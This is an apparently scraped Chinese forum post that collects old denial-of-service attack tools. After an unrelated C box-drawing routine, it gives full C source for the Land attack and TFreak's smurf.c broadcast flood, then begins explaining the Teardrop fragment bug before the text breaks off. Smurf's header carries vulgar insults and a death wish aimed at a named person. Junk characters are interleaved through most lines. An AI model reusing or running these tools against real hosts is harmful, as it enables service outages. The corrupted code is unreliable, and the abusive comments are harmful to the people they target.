$ n# S- l' D4 ]  p! \- l+ f, c*# a& c) o) m. j1 T: M( T
* Short driver module2 U( Y% p% P/ H  {( g" |
*( ]$ H6 m  E2 z. {, w* K- p9 |
*/</FONT></P><><FONT color=#009900>main()
* G/ G( c9 T. ^1 u' y{# r: g* f0 A8 G6 k: D' c4 h
clrscr();- O& g6 k. \3 I5 E$ s
box(1,1,23,79);
( f) @; [- g1 c/ F, g# X; ?, zbox(2,2,21,77);9 s, |0 Z% T  q
box(3,3,19,75);' x+ }, x8 o. F0 n
box(4,4,17,73);
: u0 q  c. d3 M* {6 L9 F) K2 Y3 E, Ibox(5,5,15,71);7 T  Z: |+ A: F3 G8 i& a# d
box(6,6,13,69);
- k$ v. c( \& P5 g# P9 D# e8 d% Gbox(7,7,11,67);
0 n! \: }/ S( m/ rbox(8,8,9,65);
2 J5 O" i- \' c. ^box(9,9,7,63);
7 D- ~0 h/ ?) n4 b5 i; I5 Q8 abox(10,10,5,61);  J; e1 T2 n3 B7 F$ a2 U/ J
box(11,11,3,59);
0 t9 b9 }2 I0 D8 C, h. V* Ubox(12,12,1,57);
; i- \2 ~3 ?' u5 U" n' |poscur(24,1);1 K  Y2 K% r6 W' Y0 I
}</FONT></P><><FONT color=#009900>/************************************************************3 W; K- j* P  l- v9 W1 Z
* BOX *  O- h% N6 x3 o
*----------------------------------------------------------*' Z( i* v5 Y! X; L$ \* M( M" l
* Written by: Jeff Ebert 7/01/87 *2 i, S1 ]( H# o# ^4 m; D
* Modified by: xxxxxxxxxx */ y/ R: h& C- x7 [# s, f' G
* *: r% L5 F3 f8 H. M& f# D! O# Z
* Please modify me! *0 w1 w' \9 o9 x% h
* Possible Enhancements include but are not limited t *
9 _# ?2 ~% W% r% q! k* 1) Variable box character styles [1 line or 2] *: f" c6 ^* C7 s2 `# {
* 2) Error checking *
8 k  M# n6 ^# h* I: O* 3) Color options ** k4 x3 P' C" H4 R
* *
! P) ]0 o6 s* _' m! }2 ^) w; @* *
6 `$ f6 u+ e2 r3 r, s* This function builds a simple double frame for a menu. *
- w: [/ S( J  p; q* The function is passed the parameters for the upper *% L8 M8 g. n$ |) c( _- u
* left corner row, upper left corner column the height *
, |4 y: `/ x# L& [' i3 X" a* of the frame and the width. *3 q+ k' Y* ~" c1 ~$ A' o: X# l) ]
* *
( x% R! j& @  R& |1 L  n************************************************************/2 z. R$ b. m( L2 H+ r
#include <STDIO.H></FONT></P><><FONT color=#009900>#define ULCOR 201
. Y* A; U- `1 j( r( Y2 x( y/ q#define URCOR 1879 L8 M: n0 a: V7 O
#define LLCOR 200" }! `" L! M. q4 G! \
#define LRCOR 188
$ w5 M" s5 Z1 w#define VBAR 186
6 _6 L; ~+ O% [/ g#define HBAR 205& P5 U0 R! g" X' [
#define ESC 27</FONT></P><><FONT color=#009900>! T9 x; t# M) j2 ]; y) m
box(row, col, hgt, wdth)
4 Q( j) k0 t% Uint row, col, hgt, wdth;</FONT></P><><FONT color=#009900>{
% t+ z! U& i$ H! L5 yint x, y;</FONT></P><><FONT color=#009900>poscur(row,col);# m- }7 s# l6 H( T
putchar(ULCOR);$ g( C8 |2 ?0 f. Q, n  q% B9 h5 M( H
for(x = col + 1; x &lt;=(col + wdth -1); x++)
8 ]5 O& O! f1 o' K* y, O& [putchar(HBAR);
! t/ `  J8 b3 q- kputchar(URCOR);</FONT></P><><FONT color=#009900>for(x = row + 1; x &lt;=(row + hgt - 1); x++){
0 e, }0 x8 ?) P9 ^1 X5 _, m# nposcur(x,col);) B* P& R6 J! {8 F$ z6 S! |* c
putchar(VBAR);
) S' P4 `3 `5 g! f- I% P: Rposcur(x,col+wdth);  B# k7 v' Z& E0 V- U
putchar(VBAR);
# j4 l  T6 F$ W# Y- Z( d% v}' V/ L( f  E( w6 Y, u
poscur(x,col);2 s! @* ^- x0 \7 n5 l8 |/ J
putchar(LLCOR);
( I9 Z! R1 n: s: F' t- wfor(x= col + 1; x &lt;=(col + wdth -1); x++)( m& L, O& {/ Z& A( q% h9 }1 J
putchar(HBAR);+ `. H% w- [: }
putchar(LRCOR);
3 B+ [: s+ `. F5 `1 _/ r+ r1 s}</FONT></P><><FONT color=#009900>/********************************************************  O) Y/ ]2 Q! L% u
* POSCUR *7 _9 K$ |: S: }  x; f  l, h2 F
*------------------------------------------------------*
8 J8 d  F/ ~" n3 E# F% J* This function positions the cursor at the specified *
7 z" q, O( v, q! T' {2 r0 U* x,y coordinate. It uses the ANSI standard ESCAPE *
+ ^  |: z8 ?& J, a; Y+ Z3 c* sequence to produce the desired effect. Its not the *
1 u+ v! ^$ w: i* fastest way to position the cursor, but perhaps the *2 D9 \* d+ f; n+ `2 `$ w1 W6 r
* most portable. *. m/ ]3 ]* R3 B2 d4 ~5 _. p
* *
( M+ e% \2 p1 l7 c$ |********************************************************/
& V3 f7 `7 ~& c0 j) x: j( B- Jposcur(xcor,ycor)9 j4 B& _5 H! p# h7 G6 |( a
int xcor,ycor;
. P- R% c) O; F, ], P. w; z' A& I{   B7 x/ y' ^  [; q3 J) f
printf("%c[%d;%dH",ESC,xcor,ycor);; ^, [0 A. N' b0 G; T! S* l0 `: e
}</FONT></P><><FONT color=#009900>/ N7 r# z' ?6 {& F$ S6 o5 O
/********************************************************
) h4 s0 O# e1 Z+ I, L8 V0 T2 j* CLRSCR ** e6 p/ i& C) G5 h8 h; C$ Y! c" t4 }
*------------------------------------------------------*
- o) c  M- I* q* This function positions the cursor at the specified *2 V# q+ E. R9 w
* x,y coordinate. It uses the ANSI standard ESCAPE *
; E5 O4 c' ^) @$ m* sequence to produce the desired effect. Its not the *  d6 e1 h/ x9 Z& v9 ]& s5 I
* fastest way to position the cursor, but perhaps the *
1 Q) k: J) |6 K* most portable. *. E! _2 h5 M6 @0 F( S3 }
* *' A, m1 Y( ~+ P% R" v  ?: S2 t
********************************************************/- f0 C9 h6 @2 Y# U# z0 i
clrscr()4 {9 c+ L, V& J
{
' H: n! P# f/ N4 _8 Yprintf("%c[2J",ESC);& ~: H! g) H8 {' S
}</FONT>3 G! ]8 ?8 T: e  P) [! Z: A
</P>
作者: 韩冰    时间: 2004-10-4 02:40
<DIV align=center><FONT size=3><B><FONT color=#cc0000>以前常用的攻击软件源代码</FONT></B></FONT> </DIV><>常用攻击程序</P><>Abstract
' u/ A. ?9 g9 W' e7 Y0 k( D这里有一些是老的,现在看来并没有用,但他们都很有名。</P><>1 Land</P><>攻击一台Win95的机器。这是Win95的一个漏洞,以其IP地址和端口向自* V0 D# p/ z- |# x8 D( b- g
己的同一个端口发起连接(发SYN),Win95即会崩溃。</P><>
) [# g) q8 ^0 S* D* ~$ i1 R<FONT color=#009900>/* land.c by m3lt, FLC9 Y- u9 {+ W" L8 r9 e9 J
crashes a win95 box */</FONT></P><><FONT color=#009900>#include <STDIO.H>
; r3 r+ _; a1 E#include <NETDB.H>( ]& J" A. G! k, `, L
#include <ARPA inet.h>
8 i& F5 {) M3 K# @8 ?- k#include <NETINET in.h>
2 W2 x: V& R9 Q. y6 y) {" o#include <SYS types.h>
0 @# q6 ^& r5 b/ w7 e#include <SYS socket.h>: S. ^9 t9 |& U5 E4 F. G/ N: D/ b
#include <NETINET ip.h>( D0 a  _) @3 p7 ^* z
#include <NETINET tcp.h></FONT></P><><FONT color=#009900>//用于TCP校验和的伪头& n. E5 k! J# I: g
struct pseudohdr8 h9 D2 h& m3 @; P; q0 h3 l) E
{6 U0 ^# _' G+ i7 u5 b2 k. l
struct in_addr saddr;4 e7 P* y' i! r" ]3 s: A' w6 w  a9 K
struct in_addr daddr;
; f& f- ]1 n. @7 ~1 m- e8 Yu_char zero;6 o5 W) }' E; t+ J
u_char protocol;
6 h9 t! |- f- n  [! S: Ju_short length;
2 v* P5 Y4 l* P- \0 g& f2 {$ wstruct tcphdr tcpheader;
( |  [, t5 D3 X1 F};</FONT></P><><FONT color=#009900>//计算IP校验和
* p5 j, c8 M' b% l: L  M: ru_short checksum(u_short * data,u_short length)
7 Z5 B) e+ A; N+ E/ N( i1 D{
9 t8 E0 t% V: n+ Cregister long value;
6 x! b# p. t; Ou_short i;</FONT></P><><FONT color=#009900>for(i=0;i&lt;(length&gt;&gt;1);i++)
5 V5 h6 T: t2 J! @5 r4 h# ~value+=data;</FONT></P><><FONT color=#009900>if((length&amp;1)==1)1 Q( X# s8 |8 z( a; G/ A
value+=(data&lt;&lt;8);</FONT></P><><FONT color=#009900>value=(value&amp;65535)+(value&gt;&gt;16);</FONT></P><><FONT color=#009900>return(~value);
$ P4 @* Z5 n4 \0 B/ n) X}</FONT></P><><FONT color=#009900>
5 |' ^4 h. w2 M' U( aint main(int argc,char * * argv)' h" P$ E& L2 w1 ~8 I3 x
{
  E! Y! ~3 E; ~+ R' R6 estruct sockaddr_in sin;
7 y8 i5 }+ G  hstruct hostent * hoste;7 t5 U' ^4 x8 |# P8 S' S  ~
int sock;- L5 D3 N; S6 t# ~6 f( `1 T
char buffer[40];) \4 x, U& [+ j0 ]* g
struct iphdr * ipheader=(struct iphdr *) buffer;' X7 |5 }. R! o' R& {& n; b7 V
struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));
* Y& B0 r) T' E" f1 D$ {0 vstruct pseudohdr pseudoheader;</FONT></P><><FONT color=#009900>fprintf(stderr,"land.c by m3lt, FLC\n");</FONT></P><><FONT color=#009900>if(argc&lt;3)
; Q. I. \1 s& q0 M  b$ ?{' m2 g2 `4 Q0 ~2 Y" |9 ~9 G; @
fprintf(stderr,"usage: %s IP port\n",argv[0]);
8 B  X; F( \$ |5 O, U+ `return(-1);
/ t( {# n- r. S( [7 n}</FONT></P><><FONT color=#009900>bzero(&amp;sin,sizeof(struct sockaddr_in));& i( [* r0 E; h, T
sin.sin_family=AF_INET;</FONT></P><><FONT color=#009900>if((hoste=gethostbyname(argv[1]))!=NULL)
: K1 n( x! D: X: O2 L; Ibcopy(hoste-&gt;h_addr,&amp;sin.sin_addr,hoste-&gt;h_length);0 \: C& }$ Z  h: Q
else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)8 o; C% n% X6 s5 ^0 Q
{
: z! [! H  w9 c( I. _: V0 Lfprintf(stderr,"unknown host %s\n",argv[1]);
0 X! }7 g( M% @3 P% m9 g) g' V* Vreturn(-1);, ~) D  N4 t/ |& x7 S
}</FONT></P><><FONT color=#009900>if((sin.sin_port=htons(atoi(argv[2])))==0)- k, a9 r6 n: o
{2 Y9 _1 r7 C$ y) D6 X
fprintf(stderr,"unknown port %s\n",argv[2]);  o, B) k( I. R3 ]
return(-1);5 R" {1 B8 M5 j7 D+ {$ Y
}</FONT></P><><FONT color=#009900>//new一个SOCK—RAW以发伪造IP包 这需要root权限
0 v; l; c7 K9 p$ i% P2 Qif((sock=socket(AF_INET,SOCK_RAW,255))==-1)2 Z% B; R  w3 n% i
{- \4 j# }% P& U  O- @6 @
fprintf(stderr,"couldn't allocate raw socket\n");
: }; W5 W" n  G/ H4 Creturn(-1);
( B/ Y# y% L- r3 W; n9 e, g6 o! ]}</FONT></P><><FONT color=#009900>bzero(&amp;buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));- ~# ~% O% {1 o8 D5 v+ ]" v  D( F$ N! v
ipheader-&gt;version=4;" P* A, e( w% }1 e0 _: m
ipheader-&gt;ihl=sizeof(struct iphdr)/4;
- _) f: r, ^/ z/ S8 xipheader-&gt;tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));! J+ ~7 f2 c" i; i
ipheader-&gt;id=htons(0xF1C);
8 ^. m) n# T- w# c3 zipheader-&gt;ttl=255;6 B5 E! h+ c' y, ]. y; m* r6 X* L: o
ipheader-&gt;protocol=IP_TCP;</FONT></P><><FONT color=#009900>//目的IP地址和源IP地址相同
4 a  r8 W% g7 X! |9 yipheader-&gt;saddr=sin.sin_addr.s_addr;9 h, h5 M) [( u: U+ g
ipheader-&gt;daddr=sin.sin_addr.s_addr;</FONT></P><><FONT color=#009900>//目的TCP端口和源TCPIP端口相同
9 F. k, e' \$ s" V" x& Vtcpheader-&gt;th_sport=sin.sin_port;* ?- q' V2 N, ^5 d) n
tcpheader-&gt;th_dport=sin.sin_port;3 w; c! E, B8 O5 n3 ^, [
tcpheader-&gt;th_seq=htonl(0xF1C);
3 _- }" B0 b  ztcpheader-&gt;th_flags=TH_SYN;* b) b" G, u+ ?5 m. U1 p/ {
tcpheader-&gt;th_off=sizeof(struct tcphdr)/4;( H8 a( q5 m. o+ L' t: q" V1 k) J- Y
tcpheader-&gt;th_win=htons(2048);</FONT></P><><FONT color=#009900>bzero(&amp;pseudoheader,12+sizeof(struct tcphdr));8 q. c/ J/ q  ]
pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;0 O" }6 y! Z; I: V! R/ b% y
pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
1 P' U, J, w' e% \9 upseudoheader.protocol=6;4 V( X9 ^! H" P. o% G
pseudoheader.length=htons(sizeof(struct tcphdr));
1 }5 h5 U' |- ibcopy((char *) tcpheader,(char *) &amp;pseudoheader.tcpheader,sizeof(struct tcphdr));8 _: `0 ^$ r& q! N8 ~
tcpheader-&gt;th_sum=checksum((u_short *) &amp;pseudoheader,12+sizeof(struct tcphdr));</FONT></P><><FONT color=#009900>if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),5 B5 m# h) {) s* o5 |1 }
0,(struct sockaddr *) &amp;sin,sizeof(struct sockaddr_in))==-1)
  M2 s* [& H$ i/ s{% k* ^8 {. j* y% s  o- s/ w
fprintf(stderr,"couldn't send packet\n");' R3 R- K& c% X  q8 x5 x" F
return(-1);" t7 b! C* M& Z  K* T; g1 M
}</FONT></P><><FONT color=#009900>fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);</FONT></P><><FONT color=#009900>close(sock);; c$ `7 f" z+ m( M. {2 _- u! j
return(0);/ c- b9 V# `5 t; Y( t9 Q4 [, }5 \
}</FONT></P><>) N9 e  T+ H5 E: [) Z4 i
2 Smurf; G, R& `3 D( m9 p
smurf攻击是很简单的,它有一些IP(广播地址)地址列表,发出了一些伪造的数* M% Q, Z* P; {
据包(ICMP echo request)从而导致一场广播风暴,可以使受害主机(使它成为伪造包, [4 @0 n% G& Q# p) z- y
的源地址)崩溃。</P><>受害者有两种:中间的设备(bounce sites 交换机或路由器)和被伪装的IP(那些
" M8 M- r- }* l$ Xicmp echo的包都被发给它)。这种攻击依赖于路由器把一个广播地址转化为一广播桢
( C) ], W7 p  v3 i(如Ethernet, FF:FF:FF:FF:FF:FF),RFC中允许这种转换,但在今天看来是不需要的。</P><>可以使你router停止转换第三层的广播(IP)到第二层的广播(Ethernet)。</P><>但是Smb服务器或NT需要远程广播使LAN知道它的存在,但在路由器的上述配置会使这变; v9 W) r! w* F0 H# Y$ q
成不可能(没有WINS服务器时)。</P><P>/*6 H$ |7 }, h/ r. Y
*; l* ^' c9 I2 a. e
* $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $* z4 ~  e3 f, y- ]$ V, S# h2 [! F
*
# I, y% E# u& K: h- z0 L! E* spoofs icmp packets from a host to various broadcast addresses resulting  S) Y" y3 k7 m' `* E3 i1 a- A$ R
* in multiple replies to that host from a single packet.1 u# M2 k: a: a; _3 L( T4 ]
*8 q- X9 \9 }5 b. B3 G2 D0 V
* mad head t
% _5 r- L- [! q* nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,
. Q5 v3 c2 F2 @4 H, T% U* z8 Q5 w* MissSatan for swallowing, napster for pimping my sister, the guy that
  t$ w# y7 A2 T* f* invented vaseline, fyber for trying, knowy, old school #havok, kain3 `; a0 z& @6 }
* cos he rox my sox, zuez, toxik, robocod, and everyone else that i might
# b3 C$ ?! K  h" b& B, m* have missed (you know who you are).6 _" k6 A1 w2 h( ^: V8 P
*$ i4 g5 [6 u+ r' l4 l# m2 K
* hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy
5 q6 W. _. M0 _* c3 u$ R- ]* thing he is (he's -almost- as stubborn as me, still i managed to pick up- n8 c! @7 g) T; _8 m& z
* half the cheque).. V) p+ O9 e+ i
*
& \5 J- U6 z2 v1 u* and a special hi to Todd, face it dude, you're fucking awesome.& n9 t. ?3 {! S7 A! [& F* d; g
*- q  C: c; Y  O% r7 g  M; ?
* mad anal t
# J% G9 J- [2 z' K# Z/ }" q1 s  n* #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps0 G6 ?" I/ e  B/ v
* because they plain suck, Rolex for being a twit, everyone that
* o& p+ `6 g: r: t, J6 H* trades warez, Caren for being a lesbian hoe, AcidKill for being her( W, x& G: ], _" ]! b
* partner, #cha0s, sedriss for having an ego in inverse proportion to9 y: [6 G1 z( Y6 P' M/ b
* his penis and anyone that can't pee standing up -- you don't know what
+ u4 j2 C" M1 T5 x& _9 `) w7 M* your missing out on.7 X4 _/ V3 X% Z, q* r% p
*
4 b, ]+ e" W, E$ u( g* Y- u1 e% N* and anyone thats ripped my code (diff smurf.c axcast.c is rather
& I' N3 |5 ^2 g! t! M9 |" [% Z' z* interesting).* O1 K: X+ Y$ f% k5 z
*
/ l* j$ k2 f9 y% i# E# r: I1 f$ i- e* and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill& _- L" C, A8 E
* Robbins for trying to steal my girlfriend. Not only did you show me' X; l# C. B# n5 Z) h4 a! D( \* o4 N
* no respect but you're a manipulating prick who tried to take away the* k0 r& L! A* K6 h- c
* most important thing in the world to me with no guilt whatsoever, and
6 W. J* E7 M) F1 W* for that I wish you nothing but pain. Die., v8 i+ A$ ^) A) J
*+ r2 C+ }; {* [. D/ t# p" Z
* disclaimer:
, \7 c, S; b, Z( b* I cannot and will not be held responsible nor legally bound for the
) ]3 ]7 y; Z4 x6 d  _4 I# f* malicious activities of individuals who come into possession of this
; }8 B$ }+ g2 y* program and I refuse to provide help or support of any kind and do NOT
" o* A5 v: ~2 q# o& I* condone use of this program to deny service to anyone or any machine.5 ~( Y$ g+ [. @4 U% t
* This is for educational use only. Please Don't abuse this.
4 l" d6 {& c( D# d3 Y2 T*
& B6 ?, U( |4 b2 T# }. Z* Well, i really, really, hate this code, but yet here I am creating another- m+ B. \( l* n* e4 X$ D
* disgusting version of it. Odd, indeed. So why did I write it? Well, I,
  H  F! W' t( K! [  c" q+ b9 ?8 G, R$ F* like most programmers don't like seeing bugs in their code. I saw a few! [6 u2 }  f# C
* things that should have been done better or needed fixing so I fixed
  C# h8 e1 T( ?2 r* them. -shrug-, programming for me as always seemed to take the pain away
% }3 ]0 L. `& k8 G3 m* ...- r# F/ y- ?2 z- Y4 k/ [
*5 r/ b; V3 t. ~. z
*, q# Q# x0 e( N. h* w
*/</P><P>#include <SIGNAL.H>
7 p! b' ~% ~4 [/ x; ]5 h' `3 F#include <STDIO.H>
- X  q. Z6 ^8 j: a0 F2 |" t#include <STDLIB.H>! C0 h; Y  |' E0 a( W
#include <SYS socket.h>( ]1 f. `( I$ z) e& F9 P+ p
#include <SYS types.h>3 D4 r  D& }  s4 u6 A
#include <NETINET in.h>
+ r# A! e: Y3 G9 X#include <NETINET ip.h>, s: h$ g' v2 x9 O7 h" s
#include <NETINET ip_icmp.h>
/ N- ~0 t6 M) L1 v3 }#include <NETDB.H>
9 n. @- y1 m3 I9 {' W( Y' p/ {8 [#include <CTYPE.H>
; T- K9 I! @' ^( l, T#include <ARPA inet.h>9 P( h# H4 g( e* _( W1 D
#include <UNISTD.H>
3 p& _. w% s) m# p$ K' J#include <STRING.H></P><P>void banner(void);
, f2 [% y' L! Y3 L7 yvoid usage(char *);
: s4 c1 [. B+ Q# `3 cvoid smurf(int, struct sockaddr_in, u_long, int);
9 M. S# B$ M, U4 A; d5 M9 U% c& zvoid ctrlc(int);- q8 U7 x* x; O7 Y/ T* d
unsigned short in_chksum(u_short *, int);</P><P>/* stamp */
+ G& E0 x3 |. \4 ?4 F- Zchar id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";</P><P>int main (int argc, char *argv[])0 S0 j6 M% m$ X: k" |6 z! O2 T! c
{- u+ R; e. Z7 F! F- x; q+ ^, V
struct sockaddr_in sin;
, L9 c- O6 A3 [9 _7 i; lstruct hostent *he;$ r. b1 `" X. G! s5 {9 C0 }
FILE *bcastfile;
/ u' _( E' G2 u( K8 A6 qint i, sock, bcast, delay, num, pktsize, cycle = 0, x;
0 a% H$ n! U* v( x' r% x& vchar buf[32], **bcastaddr = malloc(8192);</P><P>banner();4 n% W2 V. o" d8 @+ |
signal(SIGINT, ctrlc);</P><P>if (argc &lt; 6) usage(argv[0]);</P><P>if ((he = gethostbyname(argv[1])) == NULL) {" m, @( v3 E* @9 q! L9 u; H  E, O: A$ f& a
perror("resolving source host");5 t& w8 l: }5 p" f2 Z
exit(-1);
5 o& j! J2 }# }, j6 g* E}
; G# h7 |3 _" xmemcpy((caddr_t)&amp;sin.sin_addr, he-&gt;h_addr, he-&gt;h_length);& u+ q8 a3 W. G/ r5 o0 m! o9 I
sin.sin_family = AF_INET;6 P$ u7 c9 l$ g1 r2 @' x7 G
sin.sin_port = htons(0);</P><P>num = atoi(argv[3]);+ p6 b4 X: F9 M& G: w! R& T
delay = atoi(argv[4]);6 q; ?" h% g, C' e; x4 Y
pktsize = atoi(argv[5]);</P><P>if ((bcastfile = fopen(argv[2], "r")) == NULL) {* v7 P; K/ q2 D$ e( D
perror("opening bcast file");4 `+ V, g9 N* y! e/ c+ d
exit(-1);
& r4 c5 `1 g+ r6 f7 \/ f}+ X5 T4 D9 L% K* c/ j
x = 0;
8 o5 Y* f# a" j! G+ O. owhile (!feof(bcastfile)) {
( G4 N) S  b$ f+ H) e  M3 P- Dfgets(buf, 32, bcastfile);7 t2 G- Q* [9 i& `& |* w
if (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;. h4 v# y& H4 ]& z
for (i = 0; i &lt; strlen(buf); i++)
5 W. x0 z( _! T' {3 P! f- d8 \if (buf == '\n') buf = '\0';$ ?* T+ ?) s( M, Q! }
bcastaddr[x] = malloc(32);. _& W0 P* Z$ o1 x# H/ t" K, t
strcpy(bcastaddr[x], buf);( q6 V1 ^+ u+ e: j* R0 c7 w
x++;) O# K0 L$ O' `, e
}( o8 i. g% R0 V
bcastaddr[x] = 0x0;
; t& b0 E+ n' {; M0 k/ A/ hfclose(bcastfile);</P><P>if (x == 0) {5 ~4 [' w. z+ b* R
fprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);
8 {% l; O9 m9 K. @6 g3 r, sexit(-1);& {' k# X6 u" I4 m& k
}
: P8 C' M* }" Bif (pktsize &gt; 1024) {7 j0 }7 M2 M, a+ ^6 [5 `
fprintf(stderr, "ERROR: packet size must be &lt; 1024\n\n");
: P( C# |7 q6 ?- M0 y& @exit(-1);- w8 ?1 b9 y# B7 }1 o* Q, P7 P
}</P><P>if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0) {) |! d4 N0 J7 g5 d: t
perror("getting socket");+ b; L$ A( j( U5 g" K
exit(-1);
% y! e" a7 d5 [1 n1 a% E$ f}
+ T' f9 p. q5 g' K# F0 O! Gsetsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&amp;bcast, sizeof(bcast));</P><P>printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);</P><P>for (i = 0; i &lt; num || !num; i++) {
$ J" h$ O" h" eif (!(i % 25)) { printf("."); fflush(stdout); }
) h8 T: s, e. N' M& |7 ]smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);
% o2 b: K; ?7 {6 C9 i- ~: |cycle++;' v' ]# l0 X! K, i1 U8 _/ w" [
if (bcastaddr[cycle] == 0x0) cycle = 0;+ t+ n: S7 t& ^9 c$ N
usleep(delay);( x, X& p; W0 X6 L& V
}
9 Y% {( c' S8 ?% w. R# [9 pputs("\n\n");
% U) ]0 u) ~& Freturn 0;- e, k& M, W  k* E0 Q- n
}</P><P>void banner (void)
  ]4 f. s6 L: i# k  c' P3 }) X{
3 D* V7 L8 K3 N  m9 ~6 ~2 K' kputs("\nsmurf.c v4.0 by TFreak\n");
7 x. N' r' y, Q$ a& {2 c}</P><P>void usage (char *prog)$ S' J4 C/ m& {  A6 `* @% `7 U
{
7 v9 J3 y; c1 f4 x# j8 vfprintf(stderr, "usage: %s <TARGET><BCAST file>"
- V# _% D+ c( G+ y) R) m) a"<NUM packets> <PACKET delay><PACKET size>\n\n"
/ A5 P# U$ w* a+ L$ f"target = address to hit\n"& X' [, }& G. U& m2 Z! q3 z! m
"bcast file = file to read broadcast addresses from\n"
) j; F5 M1 }( m"num packets = number of packets to send (0 = flood)\n"( b5 e8 t) @- |: v1 p
"packet delay = wait between each packet (in ms)\n"
/ L: B, O& i! L" H' w- m" v"packet size = size of packet (&lt; 1024)\n\n", prog);  h& `4 `! T' w# X+ |
exit(-1);
. F# S/ \* `9 O% J0 j; l" n}</P><P>void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)  M4 A7 F( i, |  d6 b3 f6 |
{/ E9 R5 U. d  s( ]' I7 n
struct iphdr *ip;" L7 R" G. k% F9 S5 K0 |
struct icmphdr *icmp;9 C- Z% ]/ w* h: c: ?& q
char *packet;</P><P>packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
- u6 y9 C0 e/ O4 }6 G3 G! D* Cip = (struct iphdr *)packet;
7 H: z( y. F2 y$ s! _7 zicmp = (struct icmphdr *) (packet + sizeof(struct iphdr));</P><P>memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);</P><P>ip-&gt;tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);) Q8 T, h% L% r1 @) w2 I
ip-&gt;ihl = 5;, [! \9 o" I2 p* o) p
ip-&gt;version = 4;
, g# N7 S. N' U9 tip-&gt;ttl = 255;/ z2 ?; m- t+ L' r2 `9 m( b7 U
ip-&gt;tos = 0;
! d8 E/ l# J1 j$ Kip-&gt;frag_off = 0;% e+ V+ Y. [" r1 ]
ip-&gt;protocol = IPPROTO_ICMP;
, T7 q1 C) w) l; Rip-&gt;saddr = sin.sin_addr.s_addr;
* T$ O' x' \& E% m- J9 R/ zip-&gt;daddr = dest;$ c0 H" d' i" t3 W, b9 V  T* o6 h
ip-&gt;check = in_chksum((u_short *)ip, sizeof(struct iphdr));
  r0 Z" r7 R; d* S, K9 h6 y; Ricmp-&gt;type = 8;
0 R) U+ i  u8 H7 f3 i7 [; {2 nicmp-&gt;code = 0;
. \9 }+ y+ U& b2 a2 s8 o' gicmp-&gt;checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);</P><P>sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,2 D0 B/ M6 Y8 `7 `( O' E( z3 B
0, (struct sockaddr *)&amp;sin, sizeof(struct sockaddr));</P><P>free(packet); /* free willy! */3 D& _4 I! A% B  {2 h
}</P><P>void ctrlc (int ignored)
3 e- _# t0 g% O1 {& @: V4 K{' ]+ C3 g) S" V
puts("\nDone!\n");
% t3 A6 U- {" z4 U; Hexit(1);/ I% b( G, f& V7 x6 @" j
}</P><P>unsigned short in_chksum (u_short *addr, int len)4 W5 v* y. s" @$ M; {0 T, M0 x  n
{
: @! w) b0 S2 S5 Z  e$ e2 D  F/ C( wregister int nleft = len;1 x: n2 [  u/ ?# [# p2 Q
register int sum = 0;
# }7 u8 Q4 F. x+ ~u_short answer = 0;</P><P>while (nleft &gt; 1) {, ^  ]% r( w3 [" r6 ?: @0 E
sum += *addr++;1 n, R6 H/ W- Y8 V8 }3 C& C
nleft -= 2;
" V# {3 I% ~) n% H8 g/ H2 \}</P><P>if (nleft == 1) {) N: P9 U3 q' b) j: w8 L) e
*(u_char *)(&amp;answer) = *(u_char *)addr;
# v1 H; `2 a: e5 x) Z( }sum += answer;: U+ q4 y1 |! f3 g: r
}</P><P>sum = (sum &gt;&gt; 16) + (sum + 0xffff);
9 ~4 s0 R- K+ a' jsum += (sum &gt;&gt; 16);3 ~: J- \) v! U5 U
answer = ~sum;
$ F$ x; O* O& D$ u$ Freturn(answer);
( {, n& F8 ]; k/ {$ g6 ?}</P><P>
  D, Q* d# B$ h6 P9 s+ u- ]4 p: j3 Teardrop</P><P>在Linux的ip包重组过程中有一个严重的漏洞。</P><P>在ip_glue()中:</P><P>在循环中重组ip包:
/ [6 B, {* L1 O: f( b3 h0 \3 ifp = qp-&gt;fragments;& S8 b, m# S8 U: U4 P$ L
while(fp != NULL)
. I" S1 c1 e% Q2 t" R, e  L: a{- G; P4 B( {: }& X. }5 U' n
if(count+fp-&gt;len &gt; skb-&gt;len)
( w  [% {  @  U8 X7 U4 \8 _{9 O$ V- `6 G# w6 K$ j
error_to_big;
% G+ y# l, l3 T- V* I( Y5 n}
7 d2 u' f: d- r% C+ k4 Z. |( ]$ Lmemcpy((ptr + fp-&gt;offset), fp-&gt;ptr, fp-&gt;len);* B/ b+ _6 i  O& {, V
count += fp-&gt;len;
' A! H; D3 y7 K& h" C! z9 M! @fp = fp-&gt;next;
8 B# u5 M: O* b! k}7 M; y+ y7 c# X
这里只检查了长度过大的情况,而没有考虑长度过小的情况,! Y6 E# ~0 Y0 n1 a; x6 {# M
如 fp-&gt;len&lt;0 时,也会使内核拷贝过多的东西。</P><P>计算分片的结束位置:
1 L  e( O) g& @8 Pend = offset + ntohs(iph-&gt;tot_len) - ihl;</P><P>当发现当前包的偏移已经在上一个包的中间时(即两个包是重叠的)
% T7 T- ]  H+ I! {7 p8 a5 p$ [是这样处理的:
